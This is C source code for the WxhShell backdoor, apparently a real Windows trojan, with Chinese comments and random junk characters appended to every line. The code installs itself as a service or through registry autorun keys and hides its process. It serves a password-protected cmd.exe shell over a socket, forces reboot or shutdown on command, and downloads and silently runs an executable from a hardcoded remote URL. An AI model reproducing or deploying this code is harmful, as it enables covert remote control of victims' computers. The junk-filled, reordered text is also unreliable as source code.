  // 关机 cb]X27uww  
  case 'd': { q#mL-3OQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bH/4f93Nb  
    if(Boot(SHUTDOWN)) 8b]4uI <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-:%~n g  
    else { u3O@ccJ;  
    closesocket(wsh);  mih}?oi  
    ExitThread(0); ,:L^vG@*  
    } v5a\}S<(  
    break; B//*hH >F  
    } z/4<x?}+hE  
  // 获取shell Uvm.|p_V  
  case 's': { I@Hx LEGj  
    CmdShell(wsh); iu8Q &Us0P  
    closesocket(wsh); 96~y\X@x  
    ExitThread(0); lPxhqF5pP  
    break; T})q/oUqK  
  } J~WT;s  
  // 退出 +%\Ci!%b  
  case 'x': { %?].( Lc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L%Zr3Ct  
    CloseIt(wsh); K)>F03=uE  
    break; K<5yjG8&  
    } X/:V{2  
  // 离开 ;.sYE/ZVi  
  case 'q': { ^_@[1'^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~8nR3ki  
    closesocket(wsh); {Dl@/fz  
    WSACleanup(); z;oia!9z  
    exit(1); TIiYic!_~  
    break; "i#g [x  
        } 4y3c=L No  
  } v"yu7tZ3N  
  } B2]52Fg-"  
"Tser*i )  
  // 提示信息 @br)m](@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kEC^_sO"  
} d)!'5Zr M  
  } 5\h 6"/6Df  
hmkb!)  
  return; S`5bcxI_  
} P=,\wM6T|  
tDL.+6/  
// shell模块句柄 fK=0?]s}I  
int CmdShell(SOCKET sock) qypF}Pw  
{ *s 4Ym  
STARTUPINFO si; I ]o|mjvs  
ZeroMemory(&si,sizeof(si)); +d=f_@i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QObVJg,GD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 02[m{a-  
PROCESS_INFORMATION ProcessInfo; Q?1.GuF  
char cmdline[]="cmd"; a_}C*+D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \K\eq>@6  
  return 0; R7(XDX=[ s  
} &PV%=/ -J  
"$(D7yFO  
// 自身启动模式 tL;.vRx  
int StartFromService(void) ;yN Y/  
{ |%5Aku0`s  
typedef struct ({Md({|  
{ \jk* Nm8;  
  DWORD ExitStatus; l2 n`fZL  
  DWORD PebBaseAddress; vS~tr sI  
  DWORD AffinityMask; t^MTR6y+8  
  DWORD BasePriority; AcnY6:3Y|  
  ULONG UniqueProcessId; YFu,<8"swe  
  ULONG InheritedFromUniqueProcessId; bi}aVtG~z  
}   PROCESS_BASIC_INFORMATION; dF51_Kk  
~;$QSO\2h  
PROCNTQSIP NtQueryInformationProcess; L3oL>r'|  
.yfp-n4H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $s}w23nB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3AdYZ7J  
"ADI .  
  HANDLE             hProcess;  YC 6guy>  
  PROCESS_BASIC_INFORMATION pbi; T;BFO5G@  
TC<Rg?&yb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6c^?DLy9B  
  if(NULL == hInst ) return 0; e)?}2  
+$L}B-F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $t& o(]m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  ]'% iR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;Ngk"5  
OHAU@*[lM  
  if (!NtQueryInformationProcess) return 0; ,rN$ah$CL  
_Cz98VqRk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~v\ W[  
  if(!hProcess) return 0; zMpvS rc  
t=}]4&Yp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rZ(#t{]=!  
u*%mUh  
  CloseHandle(hProcess); hx@@[sKF7  
"__)RHH:8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u0+F2+ I  
if(hProcess==NULL) return 0; ^#e|^]] L  
[[T6X9  
HMODULE hMod; kdGq\k,  
char procName[255]; ^C~_}/cZ  
unsigned long cbNeeded; Xa>'DO2  
'vt Jl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ygja{W.  
RTd,bi*  
  CloseHandle(hProcess); -`Z!p  
1mtYap4  
if(strstr(procName,"services")) return 1; // 以服务启动 ^bPpcm=  
2jhJXM=~  
  return 0; // 注册表启动 NGi)Lh|  
} qY%|Uo  
|H5GWZ O{^  
// 主模块 P4yUm(@  
int StartWxhshell(LPSTR lpCmdLine) Ms5qQ<0v_  
{ $ s1/Rmw  
  SOCKET wsl; Q}\\0ajS)  
BOOL val=TRUE; Zbr e5&aU  
  int port=0; `'iO+/;GY  
  struct sockaddr_in door; ;lE=7[UJ3X  
#E Bd g  
  if(wscfg.ws_autoins) Install(); u!~kmIa4  
O{c#&/.K  
port=atoi(lpCmdLine); Pw]+6  
_oa*E2VN  
if(port<=0) port=wscfg.ws_port; a.UYBRP/l  
{7oPDP  
  WSADATA data; o8:9Y js  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #w5%^ HwO  
z"|jCdZGM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KAE %Wwjr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m#[c]v{  
  door.sin_family = AF_INET; B+Qo{-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !.#g   
  door.sin_port = htons(port); ]vR Ol.  
`2+TN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sF :pwI5^  
closesocket(wsl); /YPG_,lRA  
return 1; D0bpD  
} ]Q.S Is  
Sru0j/|H\  
  if(listen(wsl,2) == INVALID_SOCKET) { *^{j!U37s  
closesocket(wsl); '-f` 5X  
return 1; t5b c Q@Y  
} @kDY c8 t9  
  Wxhshell(wsl); jT0iJ?d,!  
  WSACleanup(); %/\sn<6C}  
3TjyKB *!  
return 0; dzbbFvG  
:8bq0iqsV  
} kc$W"J@  
+|GHbwvp  
// 以NT服务方式启动 b(U5n"cdA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wO!>kc<  
{ Av n-Ug  
DWORD   status = 0; QYDI-<.(  
  DWORD   specificError = 0xfffffff; p;, V  
)AieO-4*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6IK>v*<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z?[ R;V1j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u&={hJ&7  
  serviceStatus.dwWin32ExitCode     = 0; >_]Ov:5  
  serviceStatus.dwServiceSpecificExitCode = 0; PmsZ=FY  
  serviceStatus.dwCheckPoint       = 0; 1xkk5\3]  
  serviceStatus.dwWaitHint       = 0; 9+ve0P7$  
Sa)L=5Nr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z{%W!>0  
  if (hServiceStatusHandle==0) return; B/Q>i'e  
e$ QMR.'  
status = GetLastError(); =7kn1G.(  
  if (status!=NO_ERROR) H9BqE+  
{ ]o'dr r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G]xN#O;  
    serviceStatus.dwCheckPoint       = 0; ,f ?B((l  
    serviceStatus.dwWaitHint       = 0; >#S}J LZ  
    serviceStatus.dwWin32ExitCode     = status; 7|Wst)_~j  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]3]B$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .8'uIA{_2  
    return; $@^\zg1n  
  } H%=;pD>o  
5xUZeLj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^f(El(w  
  serviceStatus.dwCheckPoint       = 0; 4R01QSbd  
  serviceStatus.dwWaitHint       = 0; fCs{%-6cP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 75P!`9bE  
} -; d{}F  
96!2 @c{  
// 处理NT服务事件,比如:启动、停止 k&K'FaM!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {<Y!'WL{  
{ r4 5}o  
switch(fdwControl) rOUQg_y  
{ h;(mb2[R  
case SERVICE_CONTROL_STOP: :SMf (E 5  
  serviceStatus.dwWin32ExitCode = 0; 1z,P"?Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Um-Xb'R*]V  
  serviceStatus.dwCheckPoint   = 0; x>K,{{B)X  
  serviceStatus.dwWaitHint     = 0; F2(^O Fh  
  { cF9ZnT.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4},Y0QXw  
  } p@DVy2,EY  
  return; y^X]q[-?  
case SERVICE_CONTROL_PAUSE: 8c%N+E]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \G/ZA) t  
  break; A2PeI"y  
case SERVICE_CONTROL_CONTINUE: ;u';$0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z+0#H39&  
  break; $K\;sn; |:  
case SERVICE_CONTROL_INTERROGATE: $S?xB$  
  break; |a\,([aU  
}; 4/SltWU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E.*wNah"U  
} V^ ;l g[:  
W8]?dL}|  
// 标准应用程序主函数 Qe9}%k6@E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7<8'7<X  
{ j\B taC  
`X&d:!}F  
// 获取操作系统版本 .",BLuce  
OsIsNt=GetOsVer(); b?M. 0{"H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CRzLyiRvU&  
/bC@^Y&}  
  // 从命令行安装 CX {M@x3m  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZWB3R  
8_rd1:t5  
  // 下载执行文件 eq2L V=d{m  
if(wscfg.ws_downexe) { .o<9[d"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p[!9objU  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4q@[k: '  
} I.2>d_^<  
8y?q)y9h  
if(!OsIsNt) { _$}@hD*R~  
// 如果时win9x,隐藏进程并且设置为注册表启动 0@&;JMh6<  
HideProc(); ^d9o \  
StartWxhshell(lpCmdLine); !.q#X^@>L  
} wv%UsfD  
else ph ~#{B(\  
  if(StartFromService()) ^zG!Z:E  
  // 以服务方式启动 IMy!8$\u  
  StartServiceCtrlDispatcher(DispatchTable); "zIQ(|TL?d  
else )4YtdAV  
  // 普通方式启动 6UPGE",u  
  StartWxhshell(lpCmdLine); kZ^wc .  
UG]5Dxk  
return 0; WL\*g] K4  
} ej(w{vl  
vL;=qk TCQ  
z3fU|*_c  
?U*sH2F  
=========================================== ufA0H J)Yg  
Yka>r9wr  
i Nn?G C>  
J,`I>^G  
EY:EpVin  
M?ElD1#Z  
" _UF'Cf+Y  
kRiZ6mn  
#include <stdio.h> Ao9|t;i  
#include <string.h> .MxMBrM  
#include <windows.h> /w*HxtwFmD  
#include <winsock2.h> eX^ F^(   
#include <winsvc.h> p,)pz_M  
#include <urlmon.h>  t|:XSJ9  
Fow{-cs_p  
#pragma comment (lib, "Ws2_32.lib") E3_ 5~>  
#pragma comment (lib, "urlmon.lib") !-B|x0fs  
}OgZZ8-_M  
#define MAX_USER   100 // 最大客户端连接数 *+ O  
#define BUF_SOCK   200 // sock buffer o-AAx#@  
#define KEY_BUFF   255 // 输入 buffer  A1jA$  
V#DNcF~v]f  
#define REBOOT     0   // 重启 ev yA#~o  
#define SHUTDOWN   1   // 关机 4Rl~7|  
v)!^%D  
#define DEF_PORT   5000 // 监听端口 z&|sks7  
H)+wkR!~  
#define REG_LEN     16   // 注册表键长度 [lj^lN8  
#define SVC_LEN     80   // NT服务名长度 \#'m([<e  
hl+ T  
// 从dll定义API 1~*JenV-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %bTXu1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dM5N1$1,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QnH~' k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I9cZZ`vs  
~0{F,R.$  
// wxhshell配置信息 B o[aiT  
struct WSCFG { G4f%=Z  
  int ws_port;         // 监听端口 `]l[p+DO  
  char ws_passstr[REG_LEN]; // 口令 kx[h41|n  
  int ws_autoins;       // 安装标记, 1=yes 0=no cvnRd.&  
  char ws_regname[REG_LEN]; // 注册表键名 ^0"[l {  
  char ws_svcname[REG_LEN]; // 服务名 /gLi(Uw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s|Zv>Qt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $Mqw)X&q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ARid   
int ws_downexe;       // 下载执行标记, 1=yes 0=no "Ze<dB#,Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7t/C:2^&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 onUF@3V  
ZOHGGO]1M  
}; F:2V;  
}?%5Ae7l,  
// default Wxhshell configuration r1xhplHH@  
struct WSCFG wscfg={DEF_PORT, }{)>aJ  
    "xuhuanlingzhe", 0hju@&Aa  
    1, %R*-oQ1T  
    "Wxhshell", yLCJSN$7  
    "Wxhshell", 9jt+PII  
            "WxhShell Service", ^@xn3zJ  
    "Wrsky Windows CmdShell Service", 9iOTT%pq  
    "Please Input Your Password: ", j1P#({z[  
  1, 7cT ~u  
  "http://www.wrsky.com/wxhshell.exe", Gn?<~8a  
  "Wxhshell.exe" Vg? 1&8>  
    }; 8Jf4" ;  
-$kA WP8P4  
// 消息定义模块 _WHGd&u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g h&,U`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #j${R ={  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C?VNkBJ>\  
char *msg_ws_ext="\n\rExit."; d} ]jw4  
char *msg_ws_end="\n\rQuit."; Qw/H7fvh&  
char *msg_ws_boot="\n\rReboot..."; Q2!vO4!<N  
char *msg_ws_poff="\n\rShutdown..."; >[gNQJ6  
char *msg_ws_down="\n\rSave to "; gLPgh%B4  
g E;o_~  
char *msg_ws_err="\n\rErr!"; Ba]^0Y u  
char *msg_ws_ok="\n\rOK!"; [5Pin>]z  
2t"&>1  
char ExeFile[MAX_PATH]; Z\*jt B:  
int nUser = 0; c o%-d  
HANDLE handles[MAX_USER]; 6"Rw&3D?  
int OsIsNt; %C(^v)"  
si3@R?WR6*  
SERVICE_STATUS       serviceStatus; =G%L:m*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XVkCYh4,  
Q"sszz  
// 函数声明 4BAG GD2  
int Install(void); RL3G7;X  
int Uninstall(void); >-Q=o,cl%3  
int DownloadFile(char *sURL, SOCKET wsh); A"~4|`W  
int Boot(int flag); {Zy)p%j8  
void HideProc(void); MFm2p?zPm  
int GetOsVer(void); <ULydBom  
int Wxhshell(SOCKET wsl); 'z3I*[!  
void TalkWithClient(void *cs); ^N:bT;;$nZ  
int CmdShell(SOCKET sock); q`^ T7  
int StartFromService(void); E >lW'  
int StartWxhshell(LPSTR lpCmdLine); d;O4)8 >  
=-|,v*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O4fl$egQU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8P3"$2q  
5]yby"Z?}  
// 数据结构和表定义 whvvc2  
SERVICE_TABLE_ENTRY DispatchTable[] = eUE(vn#  
{ '?MT " G  
{wscfg.ws_svcname, NTServiceMain}, $^j#z^7  
{NULL, NULL} z1 P=P%F  
}; rRzc"W}K+  
OtFGo 8  
// 自我安装 "s5[w+,R  
int Install(void) ,$<="kJk  
{ wW+@3bPl  
  char svExeFile[MAX_PATH]; Dk`(Wgk2  
  HKEY key; r:Rk!z*  
  strcpy(svExeFile,ExeFile); }:a:E~5y  
8[xl3=  
// 如果是win9x系统,修改注册表设为自启动 EgT?Hvx:  
if(!OsIsNt) { @Lf-=9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g<$q#l~4xH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :J6lJ8w ?  
  RegCloseKey(key); $c<NEt_\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U[t/40W}P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bL]NSD  
  RegCloseKey(key); QNe siV0MI  
  return 0; .-HwT3  
    } - HiRXB  
  } 8Xjp5  
} | )M>;q   
else { o6T'U#7P  
@J UCXm  
// 如果是NT以上系统,安装为系统服务 5>u,Qh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )7s(]~z  
if (schSCManager!=0) U/l3C(bc!  
{ }*9mNE  
  SC_HANDLE schService = CreateService \olYv!f  
  ( I$w:qS&:  
  schSCManager, Iu|4QE  
  wscfg.ws_svcname, X/' t1  
  wscfg.ws_svcdisp, w=feXA3-S  
  SERVICE_ALL_ACCESS, /@QPJ~%8Ud  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {kNV|E  
  SERVICE_AUTO_START, N(=Z4Nk5  
  SERVICE_ERROR_NORMAL, ap|$8 G  
  svExeFile, T_/ n#e  
  NULL, 1E]TH/JK  
  NULL, * faG0le  
  NULL, <Po$|$_~  
  NULL, ft><Ql3  
  NULL f )Ef-o  
  ); KO3X)D<3  
  if (schService!=0) ur K~]68  
  { AMf{E  
  CloseServiceHandle(schService); Jwt_d }ns  
  CloseServiceHandle(schSCManager); j9^V)\6)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f'?FYBL  
  strcat(svExeFile,wscfg.ws_svcname); _-5|"oJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]CxD m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zSo(+D &[  
  RegCloseKey(key); U~1)a(Yu;  
  return 0; ALXie86a8  
    } 7w51UmO  
  } +nU=)x?38  
  CloseServiceHandle(schSCManager); ~ NZC0&  
} s_}q  
} }NpN<C+  
wlsq[x P  
return 1; 0 n}2D7  
} ,y}@I"  
*r(Qy0(  
// 自我卸载 {U"=}j(  
int Uninstall(void) HP2J`>oo  
{ !hWS%m@  
  HKEY key; yB2}[1  
WiiAIv&  
if(!OsIsNt) { *!m(oP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u1;sH{YK>  
  RegDeleteValue(key,wscfg.ws_regname); JpE7"Z"~MS  
  RegCloseKey(key); hAU@}"=G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 34<k)0sO  
  RegDeleteValue(key,wscfg.ws_regname); y/>IF|aX  
  RegCloseKey(key); uF<}zFS  
  return 0; [PX%p ;"D  
  } nAaY5s0D  
} xVN(It7g  
} fR>"d<;T  
else { ]e6$ ={  
Q4ZKgcC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @id!F<+%oD  
if (schSCManager!=0) H;{IOBo  
{ IN7Cpg~9%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B]u!BBjC  
  if (schService!=0) -BcnJK0  
  { w:aV2  
  if(DeleteService(schService)!=0) { A9Icn>3?`(  
  CloseServiceHandle(schService); F[KM0t!  
  CloseServiceHandle(schSCManager); `G:I|=#w  
  return 0; *aW:Z6N  
  } +$$5Cv5#<&  
  CloseServiceHandle(schService); &lnM 1W  
  } $O_{cSKg7  
  CloseServiceHandle(schSCManager); ftxy]N LF  
} 9";qR,  
} P:%r3F  
d.yATP  
return 1; of8 >xvE|  
} # 1 1<=3Yj  
*I.eCMDa  
// 从指定url下载文件 [\-)c[/  
int DownloadFile(char *sURL, SOCKET wsh) `*",_RO;  
{ Y1G/1Z# 2  
  HRESULT hr; (f;.`W  
char seps[]= "/"; p^k*[3$0  
char *token; ~JHEr48  
char *file; )F+wk"`+6  
char myURL[MAX_PATH]; p|g7Z  
char myFILE[MAX_PATH]; G@P+M1c  
m:6*4_!  
strcpy(myURL,sURL); \+j:d9?  
  token=strtok(myURL,seps); ),J6:O&  
  while(token!=NULL) `Wd4d2aLG  
  { ~9Qd83`UH  
    file=token; M>d^.n  
  token=strtok(NULL,seps); RQ;w$I\  
  } $Y M(NC  
C#n.hgo>I  
GetCurrentDirectory(MAX_PATH,myFILE); tMH 2  
strcat(myFILE, "\\"); M|fC2[]v B  
strcat(myFILE, file); B`)TRt+'.  
  send(wsh,myFILE,strlen(myFILE),0); fd$nAE  
send(wsh,"...",3,0); tyFsnc k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '^`iF,rg  
  if(hr==S_OK) &v#pS!UOj  
return 0; f2u4*X E\  
else g@Pq<   
return 1; Y`."=8R~  
P9W?sPnC5  
} t;`ULp~&  
/ke[nr  
// 系统电源模块 8[;AFm?,`  
int Boot(int flag) f>|W d;7l:  
{ + w'q5/`  
  HANDLE hToken; 8jY<S+[o  
  TOKEN_PRIVILEGES tkp; L+~XW'P?  
oqo7Ge2  
  if(OsIsNt) { 9_O6Sl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |w{C!Q8l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CB#B!;I8v  
    tkp.PrivilegeCount = 1; ]k8f1F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f@2F!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yv.7-DHNl  
if(flag==REBOOT) { Xl:.`{5L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a(kY,<}  
  return 0; v 6s]X*l?  
} Rg^ps  
else { 1 @i/N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nt\0) &b  
  return 0; ^*w}+tB  
} "T*1C=  
  } sX-@ >%l  
  else { c dWg_WBC  
if(flag==REBOOT) { Y<V$3h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t37<<5A  
  return 0; N<b~,[yCd>  
} &8I }q]'k  
else { T;]Ob3(BpW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AiB]A}  
  return 0; *Nfot v  
} (\'$$  
} zp5ZZcj_  
ZL:SJ,C  
return 1; 6AoKuT;  
} ^$X|Lq  
{u+=K-Bj  
// win9x进程隐藏模块 [ . }Uzx  
void HideProc(void) j#xGB]  
{ "dT"6,  
10)RLh|+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {T-^xwc  
  if ( hKernel != NULL ) 'rTJ*1i  
  { GaV}@Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hxMV?\MYj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |>OBpb  
    FreeLibrary(hKernel); i[ >U#5  
  } ^C92R"*Qu  
_z J /z  
return; OL%}C*Zq  
} 4H NaE{O4  
B]vR=F}*  
// 获取操作系统版本 *;xGH  
int GetOsVer(void) 3@:O1i  
{ MkhD*\D /  
  OSVERSIONINFO winfo; )+DDIq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IMBjI#\  
  GetVersionEx(&winfo); R1/c@HQw?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o)>iHzR</  
  return 1; i"x V=.  
  else ,FXc_BCx4  
  return 0; !zvOCAb,  
} rxqSi0p  
.6C6ZUB;  
// 客户端句柄模块 _]-4UA-  
int Wxhshell(SOCKET wsl) I9Uj3cL\  
{ A7,%'.k  
  SOCKET wsh; BzS\p3&  
  struct sockaddr_in client; O=*,  
  DWORD myID; (> _Lb  
|rG)Q0H,  
  while(nUser<MAX_USER) !dUdz7  
{ EeT 69o  
  int nSize=sizeof(client); H^54o$5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KVh#"]<WV  
  if(wsh==INVALID_SOCKET) return 1; {bR2S&=OmK  
%H;}+U]Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8a&c=9  
if(handles[nUser]==0) `6lOqH  
  closesocket(wsh); K&RIF]0#G  
else 4HR36=E6  
  nUser++; ' Ttsscv  
  } ![nL/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S;jD@j\t&  
tv`b##  
  return 0; 1X7GM65#  
} tC(MaI  
p2k`)=iX  
// 关闭 socket jvAjnh#  
void CloseIt(SOCKET wsh) wy8Q=X:vP  
{ p*)I QM<B  
closesocket(wsh); V.*y_=i8t  
nUser--; w%plK6:6  
ExitThread(0); Tl'wA^~H  
} r>7 +&s*yk  
LnKgT1  
// 客户端请求句柄 Aj=GekX{  
void TalkWithClient(void *cs) !h|,wq]k  
{ ,Q3OQ[Nmh  
ivn2   
  SOCKET wsh=(SOCKET)cs; x0jaTlU/  
  char pwd[SVC_LEN]; -*Rf [|Z  
  char cmd[KEY_BUFF]; .@%L8_sMR  
char chr[1]; v|\#wrCT?  
int i,j; F\^8k/0  
l U8pX$  
  while (nUser < MAX_USER) { LMx/0  
$v[mIR  
if(wscfg.ws_passstr) { S89j:KRXH%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 o$zT9j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vd(S&&]o1  
  //ZeroMemory(pwd,KEY_BUFF); _p5#`-%mM  
      i=0; 5S2 j5M00  
  while(i<SVC_LEN) { ]z5hTY  
~*"ZF-c,  
  // 设置超时 C:}1r  
  fd_set FdRead; T/2k2r4PD  
  struct timeval TimeOut; RgUQ:  
  FD_ZERO(&FdRead); t72u%M6  
  FD_SET(wsh,&FdRead); eY'n S  
  TimeOut.tv_sec=8; 4L ]4WVc  
  TimeOut.tv_usec=0; 7s3=Fa:9Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iw=e"6V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sNcU>qjj6  
p JT)X8K"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U,Uy0s2r  
  pwd=chr[0]; od5nRb  
  if(chr[0]==0xd || chr[0]==0xa) { m;\nMdn  
  pwd=0; jf`w8*R  
  break; rab$[?]  
  } FU/:'/ L  
  i++; 4w=v /WDo  
    } TfT^.p*  
?jUgDwc(w  
  // 如果是非法用户,关闭 socket /3Gq&[R{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .r{t&HO;Y  
} M2p|&Z%  
8<mloM-4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YY:{/0?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9#:fQ!3`  
+_$s9`@]6  
while(1) { xw_klHL-o  
R9 Ab.t  
  ZeroMemory(cmd,KEY_BUFF); ]Idwy|eG  
T4Vp0i  
      // 自动支持客户端 telnet标准   {U$XHG  
  j=0; R]e&JoY  
  while(j<KEY_BUFF) { Z37Dv;&ZD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dor1(@no|  
  cmd[j]=chr[0]; |LZ{kD|  
  if(chr[0]==0xa || chr[0]==0xd) { iu(obmh/o  
  cmd[j]=0; >r7PK45.K  
  break; ?d%{-  
  } mRRZ/m?A(  
  j++; E;{CoL  
    } |h 6!bt!=  
vA!IcDP"  
  // 下载文件 D (8Z90  
  if(strstr(cmd,"http://")) { 4'*-[TKC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0)g]pG8&ro  
  if(DownloadFile(cmd,wsh)) JDZuT#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^67}&O^1 ,  
